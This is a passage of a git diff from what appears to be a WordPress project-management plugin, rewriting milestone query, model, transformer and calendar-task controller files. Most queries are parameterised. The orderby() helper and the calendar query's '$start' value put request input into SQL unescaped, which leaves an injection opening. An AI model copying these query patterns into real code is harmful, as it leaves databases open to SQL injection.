$metas[$milestone->id] ) ? '' : $metas[$milestone->id]->achieve_date; + } + + return $this; + } + + private function meta() { + $this->get_pm_meta_table_value() + ->total_task_list() + ->total_discussion_board(); + + + return $this; + } + + private function total_task_list() { + global $wpdb; + + if ( empty( $this->milestone_ids ) ) { + return $this; + } + + $metas = []; + $tb_milestones = pm_tb_prefix() . 'pm_boardables'; + $milestone_format = pm_get_prepare_format( $this->milestone_ids ); + $query_data = $this->milestone_ids; + + $query = "SELECT DISTINCT count(bor.boardable_id) as total_task_list, + bor.board_id as milestone_id + FROM $tb_milestones as bor + where bor.board_id IN ($milestone_format) + AND bor.board_type=%s + AND bor.boardable_type=%s + group by bor.boardable_id"; + + array_push( $query_data, 'milestone', 'task_list' ); + + $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); + + foreach ( $results as $key => $result ) { + $milestone_id = $result->milestone_id; + unset($result->milestone_id); + $metas[$milestone_id] = $result->total_task_list; + } + + foreach ( $this->milestones as $key => $milestone ) { + $milestone->meta['total_task_list'] = empty( $metas[$milestone->id] ) ? 0 : (int) $metas[$milestone->id]; + } + + return $this; + } + + private function total_discussion_board() { + + global $wpdb; + + if ( empty( $this->milestone_ids ) ) { + return $this; + } + + $metas = []; + $tb_milestones = pm_tb_prefix() . 'pm_boardables'; + $milestone_format = pm_get_prepare_format( $this->milestone_ids ); + $query_data = $this->milestone_ids; + + $query = "SELECT DISTINCT count(bor.boardable_id) as total_discussion_board, + bor.board_id as milestone_id + FROM $tb_milestones as bor + where bor.board_id IN ($milestone_format) + AND bor.board_type=%s + AND bor.boardable_type=%s + group by bor.boardable_id"; + + array_push( $query_data, 'milestone', 'discussion_board' ); + + $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); + + foreach ( $results as $key => $result ) { + $milestone_id = $result->milestone_id; + unset($result->milestone_id); + $metas[$milestone_id] = $result->total_discussion_board; + } + + foreach ( $this->milestones as $key => $milestone ) { + $milestone->meta['total_discussion_board'] = empty( $metas[$milestone->id] ) ? 0 : (int) $metas[$milestone->id]; + } + + return $this; + } + + private function get_pm_meta_table_value() { + if ( empty( $this->milestone_ids ) ) { + return $this; + } + + global $wpdb; + + $metas = []; + $tb_projects = pm_tb_prefix() . 'pm_projects'; + $tb_meta = pm_tb_prefix() . 'pm_meta'; + $milestone_format = pm_get_prepare_format( $this->milestone_ids ); + $query_data = $this->milestone_ids; + + $query = "SELECT DISTINCT $tb_meta.meta_key, $tb_meta.meta_value, $tb_meta.entity_id + FROM $tb_meta + WHERE $tb_meta.entity_id IN ($milestone_format) + AND $tb_meta.entity_type = %s "; + + array_push( $query_data, 'milestone' ); + + $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); + + foreach ( $results as $key => $result ) { + $milestone_id = $result->entity_id; + unset( $result->entity_id ); + $metas[$milestone_id][] = $result; + } + + foreach ( $this->milestones as $key => $milestone ) { + $filter_metas = empty( $metas[$milestone->id] ) ? [] : $metas[$milestone->id]; + + foreach ( $filter_metas as $key => $filter_meta ) { + $milestone->meta[$filter_meta->meta_key] = $filter_meta->meta_value; + } + } + + return $this; + } + + private function join() { + return $this; + } + + private function where() { + + $this->where_id() + ->where_project_id() + ->where_title(); + + return $this; + } + + /** + * Filter milestone by ID + * + * @return class object + */ + private function where_id() { + $id = isset( $this->query_params['id'] ) ? $this->query_params['id'] : false; + + if ( empty( $id ) ) { + return $this; + } + + global $wpdb; + $format = pm_get_prepare_format( $id ); + $format_ids = pm_get_prepare_data( $id ); + + $this->where .= $wpdb->prepare( " AND {$this->tb_milestone}.id IN ($format)", $format_ids ); + + if ( count( $format_ids ) == 1 ) { + $this->is_single_query = true; + } + + return $this; + } + + /** + * Filter task by title + * + * @return class object + */ + private function where_title() { + global $wpdb; + $title = isset( $this->query_params['title'] ) ? $this->query_params['title'] : false; + + if ( empty( $title ) ) { + return $this; + } + + // $this->where .= " AND {$this->tb_milestone}.title LIKE '%$title%'"; + $this->where .= $wpdb->prepare( " AND {$this->tb_milestone}.title LIKE %s", '%'.$title.'%' ); + + return $this; + } + + private function where_project_id() { + global $wpdb; + $id = isset( $this->query_params['project_id'] ) ? $this->query_params['project_id'] : false; + + if ( empty( $id ) ) { + return $this; + } + + if ( is_array( $id ) ) { + //$query_id = implode( ',', $id ); + //$this->where .= " AND {$this->tb_milestone}.project_id IN ($query_id)"; + $query_format = pm_get_prepare_format( $id ); + $this->where .= $wpdb->prepare( " AND {$this->tb_milestone}.project_id IN ($query_format)", $id ); + } + + if ( !is_array( $id ) ) { + // $this->where .= " AND {$this->tb_milestone}.project_id = $id"; + $this->where .= $wpdb->prepare( " AND {$this->tb_milestone}.project_id IN (%d)", $id ); + } + + return $this; + } + + private function limit() { + global $wpdb; + $per_page = isset( $this->query_params['per_page'] ) ? $this->query_params['per_page'] : false; + + if ( $per_page === false || $per_page == '-1' ) { + return $this; + } + + // $this->limit = " LIMIT {$this->get_offset()},{$this->get_per_page()}"; + $this->limit = $wpdb->prepare( " LIMIT %d,%d", $this->get_offset(), $this->get_per_page() ); + + return $this; + } + + private function orderby() { + global $wpdb; + + $tb_pj = $wpdb->prefix . 'pm_boards'; + $odr_prms = isset( $this->query_params['orderby'] ) ? $this->query_params['orderby'] : false; + + if ( $odr_prms === false && !is_array( $odr_prms ) ) { + return $this; + } + + $orders = []; + + $odr_prms = str_replace( ' ', '', $odr_prms ); + $odr_prms = explode( ',', $odr_prms ); + + foreach ( $odr_prms as $key => $orderStr ) { + $orderStr = str_replace( ' ', '', $orderStr ); + $orderStr = explode( ':', $orderStr ); + $orderby = $orderStr[0]; + $order = empty( $orderStr[1] ) ? 'asc' : $orderStr[1]; + $orders[$orderby] = $order; + } + + $order = []; + + foreach ( $orders as $key => $value ) { + $order[] = $tb_pj .'.'. $key . ' ' . $value; + } + + $this->orderby = "ORDER BY " . implode( ', ', $order); + + return $this; + } + + private function get_offset() { + $page = isset( $this->query_params['page'] ) ? $this->query_params['page'] : false; + + $page = empty( $page ) ? 1 : absint( $page ); + $limit = $this->get_per_page(); + $offset = ( $page - 1 ) * $limit; + + return $offset; + } + + private function get_per_page() { + + $per_page = isset( $this->query_params['per_page'] ) ? $this->query_params['per_page'] : false; + + if ( ! empty( $per_page ) && intval( $per_page ) ) { + return intval( $per_page ); + } + + return 10; + } + + private function get() { + global $wpdb; + $id = isset( $this->query_params['id'] ) ? $this->query_params['id'] : false; + + $query = "SELECT SQL_CALC_FOUND_ROWS DISTINCT {$this->tb_milestone}.* + FROM {$this->tb_milestone} + {$this->join} + WHERE %d=%d {$this->where} AND $this->tb_milestone.type=%s + {$this->orderby} {$this->limit} "; + + $results = $wpdb->get_results( $wpdb->prepare( $query, 1, 1, 'milestone' ) ); + + $this->found_rows = $wpdb->get_var( "SELECT FOUND_ROWS()" ); + $this->milestones = $results; + + if ( ! empty( $results ) && is_array( $results ) ) { + $this->milestone_ids = wp_list_pluck( $results, 'id' ); + } + + if ( ! empty( $results ) && !is_array( $results ) ) { + $this->milestone_ids = [$results->id]; + } + + return $this; + } + + private function set_table_name() { + $this->tb_project = pm_tb_prefix() . 'pm_projects'; + $this->tb_milestone = pm_tb_prefix() . 'pm_boards'; + } +} diff --git a/src/Milestone/Models/Milestone.php b/src/Milestone/Models/Milestone.php index 306cb062d..f43ac57df 100644 --- a/src/Milestone/Models/Milestone.php +++ b/src/Milestone/Models/Milestone.php @@ -1,112 +1,112 @@ - 'milestone']; - - public static $status = [ - 0 => 'overdue', - 1 => 'incomplete', - 2 => 'complete', - ]; - - public function newQuery( $except_deleted = true ) { - return parent::newQuery( $except_deleted )->where( 'type', '=', 'milestone' ); - } - - public function getAchieveDateAttribute() { - if( $this->achieve_date_field ) { - return make_carbon_date( $this->achieve_date_field->meta_value ); - } - } - - public function setStatusAttribute( $value ) { - - $value = strtolower( $value ); - $key = array_search( $value, self::$status ); - - if ( array_key_exists( $value, self::$status ) ) { - $this->attributes['status'] = $value; - } else { - $this->attributes['status'] = $key; - } - } - - public function getStatusAttribute( $value ) { - $value = (int) $value; - - if ( array_key_exists( $value, self::$status ) ) { - return self::$status[(int) $value]; - } - - return self::$status[0]; - } - - public function metas() { - return $this->hasMany( 'WeDevs\PM\Common\Models\Meta', 'entity_id' ) - ->where( 'entity_type', 'milestone' ); - } - - public function achieve_date_field() { - return $this->belongsTo( 'WeDevs\PM\Common\Models\Meta', 'id', 'entity_id' ) - ->where( 'entity_type', 'milestone' ) - ->where( 'meta_key', 'achieve_date' ); - } - - public function task_lists() { - return $this->belongsToMany( 'WeDevs\PM\Task_List\Models\Task_List', pm_tb_prefix() . 'pm_boardables', 'board_id', 'boardable_id' ) - ->where( 'boardable_type', 'task_list' ) - ->where( 'board_type', 'milestone' ); - } - - public function tasks() { - return $this->belongsToMany( 'WeDevs\PM\Task\Models\Task', pm_tb_prefix() . 'pm_boardables', 'board_id', 'boardable_id' ) - ->where( 'boardable_type', 'task' ) - ->where( 'board_type', 'milestone' ); - } - - public function boardables() { - return $this->hasMany( 'WeDevs\PM\Common\Models\Boardable', 'board_id' )->where( 'board_type', 'milestone' ); - } - - public function discussion_boards() { - return $this->belongsToMany( 'WeDevs\PM\Discussion_Board\Models\Discussion_Board', pm_tb_prefix() . 'pm_boardables', 'board_id', 'boardable_id' ) - ->where( 'board_type', 'milestone' ) - ->where( 'boardable_type', 'discussion_board' ); - } - - public function project() { - return $this->belongsTo( 'WeDevs\PM\Project\Models\Project', 'project_id' ); - } -} + 'milestone']; + + public static $status = [ + 0 => 'overdue', + 1 => 'incomplete', + 2 => 'complete', + ]; + + public function newQuery( $except_deleted = true ) { + return parent::newQuery( $except_deleted )->where( 'type', '=', 'milestone' ); + } + + public function getAchieveDateAttribute() { + if( $this->achieve_date_field ) { + return make_carbon_date( $this->achieve_date_field->meta_value ); + } + } + + public function setStatusAttribute( $value ) { + + $value = strtolower( $value ); + $key = array_search( $value, self::$status ); + + if ( array_key_exists( $value, self::$status ) ) { + $this->attributes['status'] = $value; + } else { + $this->attributes['status'] = $key; + } + } + + public function getStatusAttribute( $value ) { + $value = (int) $value; + + if ( array_key_exists( $value, self::$status ) ) { + return self::$status[(int) $value]; + } + + return self::$status[0]; + } + + public function metas() { + return $this->hasMany( 'WeDevs\PM\Common\Models\Meta', 'entity_id' ) + ->where( 'entity_type', 'milestone' ); + } + + public function achieve_date_field() { + return $this->belongsTo( 'WeDevs\PM\Common\Models\Meta', 'id', 'entity_id' ) + ->where( 'entity_type', 'milestone' ) + ->where( 'meta_key', 'achieve_date' ); + } + + public function task_lists() { + return $this->belongsToMany( 'WeDevs\PM\Task_List\Models\Task_List', pm_tb_prefix() . 'pm_boardables', 'board_id', 'boardable_id' ) + ->where( 'boardable_type', 'task_list' ) + ->where( 'board_type', 'milestone' ); + } + + public function tasks() { + return $this->belongsToMany( 'WeDevs\PM\Task\Models\Task', pm_tb_prefix() . 'pm_boardables', 'board_id', 'boardable_id' ) + ->where( 'boardable_type', 'task' ) + ->where( 'board_type', 'milestone' ); + } + + public function boardables() { + return $this->hasMany( 'WeDevs\PM\Common\Models\Boardable', 'board_id' )->where( 'board_type', 'milestone' ); + } + + public function discussion_boards() { + return $this->belongsToMany( 'WeDevs\PM\Discussion_Board\Models\Discussion_Board', pm_tb_prefix() . 'pm_boardables', 'board_id', 'boardable_id' ) + ->where( 'board_type', 'milestone' ) + ->where( 'boardable_type', 'discussion_board' ); + } + + public function project() { + return $this->belongsTo( 'WeDevs\PM\Project\Models\Project', 'project_id' ); + } +} diff --git a/src/Milestone/Transformers/Milestone_Transformer.php b/src/Milestone/Transformers/Milestone_Transformer.php index 5ddf5cad6..89b04fe2b 100644 --- a/src/Milestone/Transformers/Milestone_Transformer.php +++ b/src/Milestone/Transformers/Milestone_Transformer.php @@ -1,100 +1,100 @@ - (int) $item->id, - 'title' => $item->title, - 'description' => $item->description, - 'order' => (int) $item->order, - 'achieve_date' => format_date( $item->achieve_date ), - 'achieved_at' => format_date( $item->updated_at ), - 'status' => $item->status, - 'created_at' => format_date( $item->created_at ), - 'meta' => $this->meta( $item ), - ]; - - return apply_filters( 'pm_milestone_transform', $data, $item, $this ); - } - - /** - * Getter for defaultIncludes. - * - * @return array - */ - public function getDefaultIncludes() - { - return apply_filters( "pm_milestone_transformer_default_includes", $this->defaultIncludes ); - } - - public function meta( Milestone $item ) { - $meta = $item->metas()->get()->toArray(); - $meta = wp_list_pluck( $meta, 'meta_value', 'meta_key' ); - return array_merge( $meta, [ - 'total_task_list' => $item->task_lists->count(), - 'total_discussion_board' => $item->discussion_boards->count(), - ] ); - } - - public function includeTaskLists( Milestone $item ) { - $page = isset( $_GET['task_list_page'] ) ? intval( $_GET['task_list_page'] ) : 1; - - Paginator::currentPageResolver(function () use ($page) { - return $page; - }); - - $task_lists = $item->task_lists(); - $task_lists = apply_filters('pm_task_list_query', $task_lists, $item->project_id, $item ); - $task_lists = $task_lists->orderBy( 'created_at', 'DESC' ) - ->paginate( 10 ); - - $task_list_collection = $task_lists->getCollection(); - $resource = $this->collection( $task_list_collection, new Task_List_Transformer ); - - $resource->setPaginator( new IlluminatePaginatorAdapter( $task_lists ) ); - - return $resource; - } - - public function includeDiscussionBoards( Milestone $item ) { - $page = isset( $_GET['discussion_page'] ) ? intval( $_GET['discussion_page'] ) : 1; - - Paginator::currentPageResolver(function () use ($page) { - return $page; - }); - - $discussion_boards = $item->discussion_boards(); - $discussion_boards = apply_filters( 'pm_discuss_query', $discussion_boards, $item->project_id, $item ); - $discussion_boards = $discussion_boards->orderBy( 'created_at', 'DESC' ) - ->paginate( 10 ); - - $discussion_board_collection = $discussion_boards->getCollection(); - $resource = $this->collection( $discussion_board_collection, new Discussion_Board_Transformer ); - - $resource->setPaginator( new IlluminatePaginatorAdapter( $discussion_boards ) ); - - return $resource; - } -} + (int) $item->id, + 'title' => $item->title, + 'description' => $item->description, + 'order' => (int) $item->order, + 'achieve_date' => format_date( $item->achieve_date ), + 'achieved_at' => format_date( $item->updated_at ), + 'status' => $item->status, + 'created_at' => format_date( $item->created_at ), + 'meta' => $this->meta( $item ), + ]; + + return apply_filters( 'pm_milestone_transform', $data, $item, $this ); + } + + /** + * Getter for defaultIncludes. + * + * @return array + */ + public function getDefaultIncludes() + { + return apply_filters( "pm_milestone_transformer_default_includes", $this->defaultIncludes ); + } + + public function meta( Milestone $item ) { + $meta = $item->metas()->get()->toArray(); + $meta = wp_list_pluck( $meta, 'meta_value', 'meta_key' ); + return array_merge( $meta, [ + 'total_task_list' => $item->task_lists->count(), + 'total_discussion_board' => $item->discussion_boards->count(), + ] ); + } + + public function includeTaskLists( Milestone $item ) { + $page = isset( $_GET['task_list_page'] ) ? intval( $_GET['task_list_page'] ) : 1; + + Paginator::currentPageResolver(function () use ($page) { + return $page; + }); + + $task_lists = $item->task_lists(); + $task_lists = apply_filters('pm_task_list_query', $task_lists, $item->project_id, $item ); + $task_lists = $task_lists->orderBy( 'created_at', 'DESC' ) + ->paginate( 10 ); + + $task_list_collection = $task_lists->getCollection(); + $resource = $this->collection( $task_list_collection, new Task_List_Transformer ); + + $resource->setPaginator( new IlluminatePaginatorAdapter( $task_lists ) ); + + return $resource; + } + + public function includeDiscussionBoards( Milestone $item ) { + $page = isset( $_GET['discussion_page'] ) ? intval( $_GET['discussion_page'] ) : 1; + + Paginator::currentPageResolver(function () use ($page) { + return $page; + }); + + $discussion_boards = $item->discussion_boards(); + $discussion_boards = apply_filters( 'pm_discuss_query', $discussion_boards, $item->project_id, $item ); + $discussion_boards = $discussion_boards->orderBy( 'created_at', 'DESC' ) + ->paginate( 10 ); + + $discussion_board_collection = $discussion_boards->getCollection(); + $resource = $this->collection( $discussion_board_collection, new Discussion_Board_Transformer ); + + $resource->setPaginator( new IlluminatePaginatorAdapter( $discussion_boards ) ); + + return $resource; + } +} diff --git a/src/My_Task/Controllers/MyTask_Controller.php b/src/My_Task/Controllers/MyTask_Controller.php index fd4da2a95..f6de5f79c 100644 --- a/src/My_Task/Controllers/MyTask_Controller.php +++ b/src/My_Task/Controllers/MyTask_Controller.php @@ -1,739 +1,739 @@ -get_param( 'id' ); - $taskType = $request->get_param( 'task_type' ); - $today = date( 'Y-m-d', strtotime( current_time( 'mysql' ) ) ); - - $user = User::with( [ - 'projects' => function ( $query ) use ( $id, $taskType, $today ) { - $query->with( [ - 'tasks' => function ( $task ) use ( $id, $taskType, $today ) { - $task = $task->with( ['assignees', 'metas'] ) - ->parent() - ->whereHas( 'assignees', function ( $assignees ) use ( $id ) { - $assignees->where( 'assigned_to', $id ); - } ); - - $task->whereHas('boards',function( $query ) { - $query->where('status', '1'); - }); - - /* get current task */ - if ( $taskType == 'current' ) { - $task = $task->where( function( $q ) use ( $today ) { - $q->where( 'due_date', '>=', $today ) - ->orWhereNull( 'due_date' ); - }); - } - /* get complete task*/ - if ( $taskType == 'complete' ) { - $task = $task->where( 'status', 1); - } else { - $task = $task->where( 'status', '!=', 1); - } - - /* get outstanding task */ - if ( $taskType == 'outstanding' ) { - $task = $task->where( 'due_date', '<', $today ); - } - - if ( ! pm_has_manage_capability() ) { - /*exclude private tasks*/ - $task = $task->doesntHave( 'metas', 'and', function ($query) { - $query->where( 'meta_key', '=', 'privacy' ) - ->where( 'meta_value', '!=', '0' ); - }); - /*exclude task private list*/ - $task = $task->doesntHave( 'task_lists.metas', 'and', function ($query) { - $query->where( 'meta_key', '=', 'privacy' ) - ->where( 'meta_value', '!=', '0' ); - }); - } - } - ]) - ->whereHas('tasks', function ( $task ) use ( $id, $taskType, $today ) { - $task = $task->parent() - ->whereHas( 'assignees', function ( $assignees ) use ( $id ) { - $assignees->where( 'assigned_to', $id ); - } ); - $task->whereHas('boards',function( $query ) { - $query->where('status', '1'); - }); - - /* get current task */ - if ( $taskType == 'current' ) { - $task = $task->where( function( $q ) use ( $today ) { - $q->where( 'due_date', '>=', $today ) - ->orWhereNull( 'due_date' ); - }); - } - /* get complete task*/ - if ( $taskType == 'complete' ) { - $task = $task->where( 'status', 1); - } else { - $task = $task->where( 'status', '!=', 1); - } - /* get outstanding task */ - if ( $taskType == 'outstanding' ) { - $task = $task->where( 'due_date', '<', $today ); - } - if ( ! pm_has_manage_capability() ) { - /*exclude private tasks*/ - $task = $task->doesntHave( 'metas', 'and', function ($query) { - $query->where( 'meta_key', '=', 'privacy' ) - ->where( 'meta_value', '!=', '0' ); - }); - /*exclude task private list*/ - $task = $task->doesntHave( 'task_lists.metas', 'and', function ($query) { - $query->where( 'meta_key', '=', 'privacy' ) - ->where( 'meta_value', '!=', '0' ); - }); - } - } ); - } - ] )->find( $id ); - - $resource = new Item( $user, new User_Transformer ); - $resource = $this->get_response( $resource ); - - return $resource; - } - - public function user_calender_tasks( WP_REST_Request $request ) { - global $wpdb; - - $user_id = $request->get_param( 'id' ); - $start = $request->get_param( 'start' ); - $end = $request->get_param( 'end' ); - $events = []; - $users = $request->get_param( 'users' ); - $user_id = get_current_user_id(); - $tb_tasks = pm_tb_prefix() . 'pm_tasks'; - $tb_boards = pm_tb_prefix() . 'pm_boards'; - $tb_boardables = pm_tb_prefix() . 'pm_boardables'; - $tb_assignees = pm_tb_prefix() . 'pm_assignees'; - $tb_meta = pm_tb_prefix() . 'pm_meta'; - $tb_projects = pm_tb_prefix() . 'pm_projects'; - $tb_settings = pm_tb_prefix() . 'pm_settings'; - - $tb_users = $wpdb->base_prefix . 'users'; - $tb_user_meta = $wpdb->base_prefix . 'usermeta'; - - $tb_role_user = pm_tb_prefix() . 'pm_role_user'; - $current_user_id = get_current_user_id(); - - $user_id = empty( $user_id ) ? (int)$current_user_id : (int)$user_id; - - $project_ids = $this->get_current_user_project_ids( $user_id ); - - $boards = "SELECT id FROM $tb_boards WHERE type='task_list' and status=1"; - $get_boards = $wpdb->get_results( $boards ); - $boards_id = wp_list_pluck( $get_boards, 'id' ); - $boards_id = implode( ',', $boards_id ); - - if ( empty( $project_ids ) ) { - $where_projec_ids = "AND pj.id IN (0)";; - } else { - $project_ids = implode( ',', $project_ids ); - $where_projec_ids = "AND pj.id IN ( $project_ids )"; - } - - $where_users = " AND asin.assigned_to IN ( $user_id )"; - - if ( is_multisite() ) { - $meta_key = pm_user_meta_key(); - - $event_query = "SELECT tsk.*, - GROUP_CONCAT( - DISTINCT - CONCAT( - '{', - '\"', 'meta_key', '\"', ':' , '\"', IFNULL(tskmt.meta_key, '') , '\"', ',', - '\"', 'meta_value', '\"', ':' , '\"', IFNULL(tskmt.meta_value, '') , '\"' - ,'}' - ) SEPARATOR '|' - ) as task_meta, - - GROUP_CONCAT( - DISTINCT - CONCAT( - '{', - '\"', 'meta_key', '\"', ':' , '\"', IFNULL(boablmt.meta_key, '') , '\"', ',', - '\"', 'meta_value', '\"', ':' , '\"', IFNULL(boablmt.meta_value, '') , '\"' - ,'}' - ) SEPARATOR '|' - ) as list_meta, - - GROUP_CONCAT( - DISTINCT - CONCAT( - '{', - '\"', 'assigned_to', '\"', ':' , '\"', IFNULL(asins.assigned_to, '') , '\"' - ,'}' - ) SEPARATOR '|' - ) as assignees, - - GROUP_CONCAT( - DISTINCT - CONCAT( - IFNULL(sett.value, '') - ) SEPARATOR '|' - ) as settings, - - GROUP_CONCAT( - DISTINCT - CONCAT( - '{', - '\"', 'title', '\"', ':' , '\"', IFNULL(pj.title, '') , '\"' - ,'}' - ) SEPARATOR '|' - ) as project, - - GROUP_CONCAT( - DISTINCT - CONCAT( - '{', - '\"', 'board_id', '\"', ':' , '\"', IFNULL(boabl.board_id, '') , '\"' - ,'}' - ) SEPARATOR '|' - ) as boardable, - - GROUP_CONCAT( - DISTINCT - CONCAT( - '{', - '\"', 'id', '\"', ':' , '\"', IFNULL(usr.ID, '') , '\"', ',', - '\"', 'display_name', '\"', ':' , '\"', IFNULL(usr.display_name, '') , '\"' - ,'}' - ) SEPARATOR '|' - ) as users - - FROM $tb_tasks as tsk - - LEFT JOIN $tb_boardables as boabl - ON (tsk.id=boabl.boardable_id AND boabl.board_type='task_list' AND boabl.boardable_type='task') - - LEFT JOIN $tb_boards as board - ON (boabl.board_id=board.id AND board.type='task_list') - - LEFT JOIN $tb_projects as pj ON (tsk.project_id=pj.id) - - -- For getting multipule assignee users in individual task - LEFT JOIN $tb_assignees as asins ON tsk.id=asins.task_id - - -- For filter user - LEFT JOIN $tb_assignees as asin ON tsk.id=asin.task_id - - -- For getting all users information - LEFT JOIN $tb_users as usr ON asins.assigned_to=usr.ID - LEFT JOIN $tb_user_meta as umeta ON umeta.user_id = usr.ID - - LEFT JOIN $tb_meta as tskmt - ON (tsk.id=tskmt.entity_id AND tskmt.entity_type='task') - - LEFT JOIN $tb_meta as boablmt - ON ( boabl.board_id=boablmt.entity_id AND boablmt.entity_type='task_list') - - LEFT JOIN $tb_settings as sett ON pj.id=sett.project_id AND sett.key='capabilities' - - WHERE 1=1 - AND umeta.meta_key='$meta_key' - AND - ( - (tsk.due_date >= '$start') - or - (tsk.due_date is null and tsk.start_at >= '$start') - or - (tsk.start_at is null and tsk.due_date >= '$start' ) - or - ((tsk.start_at is null AND tsk.due_date is null) and tsk.created_at >= '$start') - ) - AND - board.id IN ($boards_id) - $where_projec_ids - - $where_users - - GROUP BY(tsk.id)"; - - } else { - - $event_query = "SELECT tsk.*, - GROUP_CONCAT( - DISTINCT - CONCAT( - '{', - '\"', 'meta_key', '\"', ':' , '\"', IFNULL(tskmt.meta_key, '') , '\"', ',', - '\"', 'meta_value', '\"', ':' , '\"', IFNULL(tskmt.meta_value, '') , '\"' - ,'}' - ) SEPARATOR '|' - ) as task_meta, - - GROUP_CONCAT( - DISTINCT - CONCAT( - '{', - '\"', 'meta_key', '\"', ':' , '\"', IFNULL(boablmt.meta_key, '') , '\"', ',', - '\"', 'meta_value', '\"', ':' , '\"', IFNULL(boablmt.meta_value, '') , '\"' - ,'}' - ) SEPARATOR '|' - ) as list_meta, - - GROUP_CONCAT( - DISTINCT - CONCAT( - '{', - '\"', 'assigned_to', '\"', ':' , '\"', IFNULL(asins.assigned_to, '') , '\"' - ,'}' - ) SEPARATOR '|' - ) as assignees, - - GROUP_CONCAT( - DISTINCT - CONCAT( - IFNULL(sett.value, '') - ) SEPARATOR '|' - ) as settings, - - GROUP_CONCAT( - DISTINCT - CONCAT( - '{', - '\"', 'title', '\"', ':' , '\"', IFNULL(pj.title, '') , '\"' - ,'}' - ) SEPARATOR '|' - ) as project, - - GROUP_CONCAT( - DISTINCT - CONCAT( - '{', - '\"', 'board_id', '\"', ':' , '\"', IFNULL(boabl.board_id, '') , '\"' - ,'}' - ) SEPARATOR '|' - ) as boardable, - - GROUP_CONCAT( - DISTINCT - CONCAT( - '{', - '\"', 'id', '\"', ':' , '\"', IFNULL(usr.ID, '') , '\"', ',', - '\"', 'display_name', '\"', ':' , '\"', IFNULL(usr.display_name, '') , '\"' - ,'}' - ) SEPARATOR '|' - ) as users - - FROM $tb_tasks as tsk - - LEFT JOIN $tb_boardables as boabl - ON (tsk.id=boabl.boardable_id AND boabl.board_type='task_list' AND boabl.boardable_type='task') - - LEFT JOIN $tb_boards as board - ON (boabl.board_id=board.id AND board.type='task_list') - - LEFT JOIN $tb_projects as pj ON (tsk.project_id=pj.id) - - -- For getting multipule assignee users in individual task - LEFT JOIN $tb_assignees as asins ON tsk.id=asins.task_id - - -- For filter user - LEFT JOIN $tb_assignees as asin ON tsk.id=asin.task_id - - -- For getting all users information - LEFT JOIN $tb_users as usr ON asins.assigned_to=usr.ID - - LEFT JOIN $tb_meta as tskmt - ON (tsk.id=tskmt.entity_id AND tskmt.entity_type='task') - - LEFT JOIN $tb_meta as boablmt - ON ( boabl.board_id=boablmt.entity_id AND boablmt.entity_type='task_list') - - LEFT JOIN $tb_settings as sett ON pj.id=sett.project_id AND sett.key='capabilities' - - WHERE 1=1 - AND - ( - (tsk.due_date >= '$start') - or - (tsk.due_date is null and tsk.start_at >= '$start') - or - (tsk.start_at is null and tsk.due_date >= '$start' ) - or - ((tsk.start_at is null AND tsk.due_date is null) and tsk.created_at >= '$start') - ) - AND - board.id IN ($boards_id) - $where_projec_ids - - $where_users - - GROUP BY(tsk.id)"; - } - - $events = $wpdb->get_results( $event_query ); - - $user_roles = $wpdb->prepare("SELECT DISTINCT user_id, project_id, role_id FROM $tb_role_user WHERE user_id=%d", $current_user_id); - $user_roles = $wpdb->get_results( $user_roles ); - - - $tasks = $this->Calendar_Transformer( $events, $user_roles ); - - - wp_send_json_success( $tasks ); - } - - public function Calendar_Transformer( $events, $user_roles ) { - $current_user_id = get_current_user_id(); - $has_manage_cap = pm_has_manage_capability(); - $roles = []; - $tasks = []; - - foreach ( $user_roles as $key => $user_role ) { - $roles[$user_role->project_id][$user_role->user_id] = $user_role->role_id; - } - - foreach ( $events as $key => $event ) { - - $role = 0; - - if ( ! empty( $roles[$event->project_id][$current_user_id] ) ) { - $role = $roles[$event->project_id][$current_user_id]; - } - - $event->list_id = $this->get_list_id( $event->boardable ); - $event->task_privacy = $this->get_privacy_meta_value( $event->task_meta ); - $event->list_privacy = $this->get_privacy_meta_value( $event->list_meta ); - $event->assignees = $this->get_assignees_value( $event->assignees, $event->users ); - $event->settings = $this->get_settings_value( $event->settings ); - $event->project_title = $this->get_project_title( $event->project ); - - - if ( ! $this->has_view_permission( - $has_manage_cap, - $role, - $event->list_privacy, - $event->task_privacy, - $event->settings - ) - ) { - continue; - } - - $tasks[] = [ - 'id' => (int) $event->id, - 'title' => $event->title, - 'start' => $this->get_start( $event ), - 'end' => $this->get_end( $event ), - 'status' => $event->status ? 'complete' : 'incomplete', - 'type' => 'task', - 'project_id' => $event->project_id, - 'created_at' => format_date( $event->created_at ), - 'updated_at' => format_date( $event->updated_at ), - 'assignees' => $event->assignees - ]; - } - - return $tasks; - } - - public function get_current_user_project_ids( $user_id, $project_id = false ) { - global $wpdb; - - $tb_role_user = pm_tb_prefix() . 'pm_role_user'; - $user_id = $user_id; - - $project_ids = []; - - // IF empty project id - $project_query = $wpdb->prepare( "SELECT DISTINCT project_id FROM $tb_role_user WHERE user_id=%d", $user_id ); - - $project_ids = $wpdb->get_results( $project_query ); - $project_ids = wp_list_pluck( $project_ids, 'project_id' ); - - return $project_ids; - } - - public function get_end( $event ) { - - if ( ! empty( $event->due_date ) ) { - return format_date( $event->due_date ); - } else if ( ! empty( $event->start_at )) { - return format_date( $event->start_at); - } else { - return format_date( $event->created_at ); - } - } - - public function get_start( $event ) { - - if ( !empty( $event->start_at ) ) { - return format_date( $event->start_at); - } else if ( isset( $event->due_date ) ) { - return format_date( $event->due_date ); - } else { - return format_date( $event->created_at ); - } - } - - public function has_view_permission( - $has_manage_cap, - $role, - $list_privacy, - $task_privacy, - $settings - ) { - - if ( $has_manage_cap || $role == 1 ) { - return true; - } - - if ( $list_privacy == 1 ) { - if ( $role == 2 ) { - if ( - ! empty( $settings['co_worker'] ) - && - ! $settings['co_worker']['view_private_list'] - ) { - return false; - } - } - - if ( $role == 3 ) { - if ( - ! empty( $settings['client'] ) - && - ! $settings['client']['view_private_list'] - ) { - return false; - } - } - } - - if ( $task_privacy == 1 ) { - if ( $role == 2 ) { - if ( - ! empty( $settings['co_worker'] ) - && - ! $settings['co_worker']['view_private_task'] - ) { - return false; - } - } - - if ( $role == 3 ) { - if ( - ! empty( $settings['client'] ) - && - ! $settings['client']['view_private_task'] - ) { - return false; - } - } - } - - return true; - } - - public function get_list_id( $boardables ) { - $boardables = explode( '|', $boardables ); - - foreach ( $boardables as $key => $boardable ) { - $boardable = str_replace('`', '"', $boardable); - $boardable = json_decode( $boardable ); - - if ( ! empty( $boardable->board_id ) ) { - return $boardable->board_id; - } - } - - return ''; - } - - public function get_project_title( $projects ) { - $projects = explode( '|', $projects ); - 